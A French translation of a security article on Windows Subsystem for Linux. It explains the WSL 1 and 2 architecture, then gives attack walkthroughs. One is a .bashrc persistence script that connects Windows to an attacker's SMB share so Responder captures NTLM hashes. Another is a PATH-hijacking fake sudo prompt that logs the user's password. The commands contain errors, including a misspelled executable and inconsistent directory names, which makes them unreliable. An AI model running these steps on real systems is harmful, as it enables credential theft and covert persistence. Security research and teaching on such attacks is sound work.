Bonjour, Habr ! En octobre, OTUS lance un nouveau cycle de cours. À l'approche du début de ce cours, nous partageons avec vous un article rédigé par l'un de nos enseignants, Alexander Kolesnikov.
En 2016, Microsoft a présenté à la communauté IT une nouvelle technologie WSL (SWindows SSubsystem for LLinux), qui visait à rassembler deux concurrents jusque-là irréconciliables, se disputant la popularité tant auprès des utilisateurs ordinaires que des utilisateurs avancés de systèmes d'exploitation : Windows et Linux. Cette technologie permettait d'utiliser des outils de l'OS Linux dans un environnement Windows sans avoir besoin de lancer Linux, par exemple, via un système de multiboot. Sur Habr, vous pouvez trouver un grand nombre d'articles décrivant les avantages de l'utilisation de WSL. Cependant, malheureusement, au moment de la rédaction de cet article, aucune étude de sécurité sur cette symbiose des systèmes d'exploitation n'a été trouvée sur cette ressource. Ce post tentera de corriger cela. L'article traitera des caractéristiques des architectures WSL 1 et 2, et examinera plusieurs exemples d'attaques sur des systèmes utilisant ces technologies. L'article est divisé en 2 parties. La première présentera les principales méthodes théoriques d'attaques provenant de Linux et de Windows. La deuxième partie inclura la configuration d'un environnement de test et la reproduction d'attaques.
WSL 1 : caractéristiques de l'architecture
Pour une immersion aussi précise que possible dans les problèmes de sécurité de WSL, il est nécessaire de définir les principaux aspects liés à l'implémentation de la sous-système. L'une des principales tâches des utilisateurs auxquelles WSL répond est de permettre le travail via le terminal Linux sur un hôte avec l'OS Windows. De plus, la compatibilité proposée était si native que les fichiers exécutables Linux (ELF) pouvaient être lancés directement dans le système Windows. Pour atteindre ces objectifs, une sous-système spéciale a été créée dans Windows 10, permettant d'exécuter des applications Linux en utilisant un ensemble de certains appels système — ainsi, une tentative de mappage des syscall Linux sur Windows a été entreprise. Cela a été physiquement réalisé par l'ajout de nouveaux pilotes et d'un nouveau format de processus. Visuellement, l'architecture se présentait comme suit :
En fait, l'interaction avec le système d'exploitation Linux a été organisée par le biais de plusieurs modules noyaux et d'un type spécial de processus — pico. Comme il est visible dans le schéma ci-dessus, le processus lancé dans une instance Linux sur l'hôte doit être natif et doit utiliser les mêmes ressources que les applications Windows normales. Mais comment cela peut-il être réalisé ? Dans le projet des concepts de processus pour Windows ont été développés, fournissant tous les composants nécessaires du système d'exploitation (selon sa version) pour exécuter une application d'un autre système d'exploitation.
Notons que l'abstraction proposée permettait de ne pas dépendre du système d'exploitation (en particulier — Windows), dans lequel était censé s'exécuter le processus d'un autre système d'exploitation, et offrait une approche générale.
Ainsi, toute application à l'intérieur d'un processus pico pouvait fonctionner sans se soucier du noyau Windows :
- Les problèmes de compatibilité et de translation des appels système doivent être résolus par des fournisseurs spécialisés ;
- La restriction d'accès doit être effectuée par le Moniteur de sécurité. Le Moniteur est situé dans le noyau, c'est pourquoi une mise à niveau de Windows a été nécessaire sous la forme d'un nouveau pilote qui pourrait servir de fournisseur pour de tels processus. Le prototype du processus pico est schématiquement présenté ci-dessous :
Étant donné que le système de fichiers Linux utilise des noms de fichiers et de répertoires sensibles à la casse, deux types de systèmes de fichiers ont été ajoutés à Windows pour fonctionner avec WSL — VolFS et DriveFS. VolFS est une implémentation du système de fichiers Linux, DriveFS est un système de fichiers qui fonctionne selon les règles de Windows, mais ayant la possibilité de choisir la sensibilité à la casse des noms.
WSL 2
WSL 1 avait un certain nombre de limitations qui empêchaient son utilisation pour une large gamme de tâches : par exemple, il n'y avait pas de possibilité d'exécuter des applications Linux 32 bits et il n'était pas possible d'utiliser des pilotes de périphériques. Ainsi, en 2020, WSL 2 a été lancé, changeant l'approche de la construction de la sous-système. WSL 2 est une machine virtuelle optimisée qui respecte les caractéristiques de WSL 1 en matière de consommation de ressources. Désormais, selon les problèmes que l'utilisateur de Windows doit résoudre, il est possible de choisir la version de la sous-système Linux appropriée. Pour atténuer les vulnérabilités potentielles, WSL 2 a été réalisé sur la base de Hyper-V sous Windows 10. Dans ce cas, Windows a la possibilité d'exécuter isolément le noyau du système d'exploitation Linux. Il convient de noter que la version 1 de WSL a été présentée comme une fonctionnalité bêta, destinée à montrer la direction dans laquelle Windows se développait dans ce domaine, donc le passage à Hyper-V était inévitable. L'architecture finale est la suivante :
Dans cette version, les noyaux des systèmes Windows et Linux ont leurs propres ressources et l'intersection n'existe que dans le système de fichiers, cependant, cette intersection ne peut pas être considérée comme complète. L'interaction entre les systèmes de fichiers se fait à l'aide d'une couche client-serveur qui fonctionne selon le protocole 9P.
À ce jour, Microsoft offre la possibilité de basculer entre WSL 1 et WSL 2. Les deux versions sont disponibles pour utilisation.
Sécurité de WSL
Actuellement, plusieurs travaux décrivent certaines approches utilisant des outils légitimes du système d'exploitation pour attaquer l'interaction entre les sous-systèmes. Nous utiliserons leurs scénarios pour vérifier la pertinence des attaques au moment de la rédaction de cet article. La liste générale des attaques et des scénarios :
1. Implémentation du système de fichiers : droits d'accès, existence de répertoires/ mécanismes d'échange de données.
Les recherches ont été menées sur la violation des règles d'accès de Linux FS->Windows FS, Windows FS->Linux FS. Les recherches ont démontré la possibilité de modifier un fichier spécifique à l'intérieur du système d'exploitation cible. Des tentatives de substitution, de création de doublons et de suppression de parties des systèmes de fichiers ont également été effectuées.
Scénario :
- A. Attaque depuis le système d'exploitation Windows — modification de fichiers dans le répertoire /etc du système d'exploitation Linux.
- B. Attaque depuis le système d'exploitation Linux — modification de fichiers dans les répertoires :
C:Windows,C:Program Files,C:Users
2. Implémentation de la pile réseau.
Les recherches ont été menées sur des exemples d'attaques de l'OS Linux sur Windows. Elles ont utilisé des particularités de la pile réseau, notamment les mécanismes d'authentification sur différentes ressources.
Scénario :
- Ouverture d'un port occupé dans le système Windows
- Ouverture d'un port en l'absence des droits appropriés
- Lancement d'un reverse shell à l'aide d'un fichier elf dans le système d'exploitation Windows.
3. Camouflage du lancement de processus de logiciels malveillants via la sous-système WSL.
Les recherches se sont basées sur un simple fait : les sous-systèmes de protection ne peuvent pas intercepter des événements dans un autre noyau fonctionnant avec un fournisseur légitime coté OS dans le cas de WSL 1. Pour WSL 2, il n'est pas possible de visualiser les événements se produisant dans un noyau séparé dans le cadre d'une machine virtuelle légère.
Scénario :
1) Lancer une application de télécommande dans le système et visualiser les événements enregistrés.
Expériences WSL 1 : interception de hachage (OS Windows)
Enfin, nous sommes arrivés à la partie pratique. Pour commencer, il est nécessaire de configurer l'environnement pour les tests. Toutes les expériences seront menées sur une plateforme avec Windows 10 2004 installé. L'image du système d'exploitation pour WSL a été choisie comme Ubuntu 18.04. L'image a été choisie au hasard, et toute autre fonctionnera de la même manière. Commandes pour configurer la plateforme :
Il faut d'abord lancer powershell.exe en tant qu'administrateur.
Pour WSL 1, il est nécessaire d'exécuter les commandes :
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Activer la fonction WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Télécharger l'image Linux depuis le magasin Microsoft
Après le redémarrage de la plateforme, vous pouvez appeler la commande bash. Si tout s'est bien passé, vous verrez quelque chose comme la sortie suivante dans la console Windows :
Nous utiliserons la distribution Kali Linux comme machine attaquante, toutes les machines doivent être sur le même réseau local.
Supposons que nous ayons un accès non privilégié à WSL sur une machine Windows. Tentons d'attaquer le système d'exploitation Linux en exécutant une commande depuis Linux. Pour réaliser l'attaque, nous utiliserons une technique simple d'automatisation : nous ajouterons notre script à exécuter dans l'environnement Linux. Pour cela, nous devons modifier le fichier .bashrc.
Sur la machine avec WSL, exécutez :
1. bash
2. Accédez au répertoire personnel de l'utilisateur : cd /home/sam/
2. echo " /home/sam/.attack.sh" >> .bashrc
3. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
4. chmod u+x .attack.sh
5. exitSur la machine Kali Linux, exécutez :
1. Responder -I eth0 -rdvwSur la machine Windows, lançons bash.
Nous attendons le résultat sur la machine Kali Linux :
Ainsi, nous avons obtenu les hash de l'utilisateur Windows via la sous-système WSL, après avoir exécuté la commande sur le système Linux.
Expériences WSL 1 : obtenir le mot de passe de l'utilisateur (OS Linux)
Nous allons réaliser une autre expérience. Dans le cadre de cette vérification, nous allons compléter le fichier .bashrc avec plusieurs commandes pour obtenir le mot de passe de l'utilisateur du système d'exploitation Linux.
Lançons bash et entrons les commandes :
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] mot de passe pour $USER : " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Désolé, essayez encore."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Pour que l'attaque réussisse, il est nécessaire que l'utilisateur Sam invoque sudo dans le terminal Linux. Après cela, le mot de passe de l'utilisateur du système d'exploitation Linux se trouvera dans le fichier pass.txt:
La mise en œuvre des attaques a été présentée uniquement à des fins théoriques.
Dans la prochaine partie de l'article, nous décrirons la mise en œuvre du protocole 9P, examinerons la création d'un scanner pour ce protocole, ainsi qu'une attaque réalisée avec.
Liste des références
Lire la suite
Source : habr.com
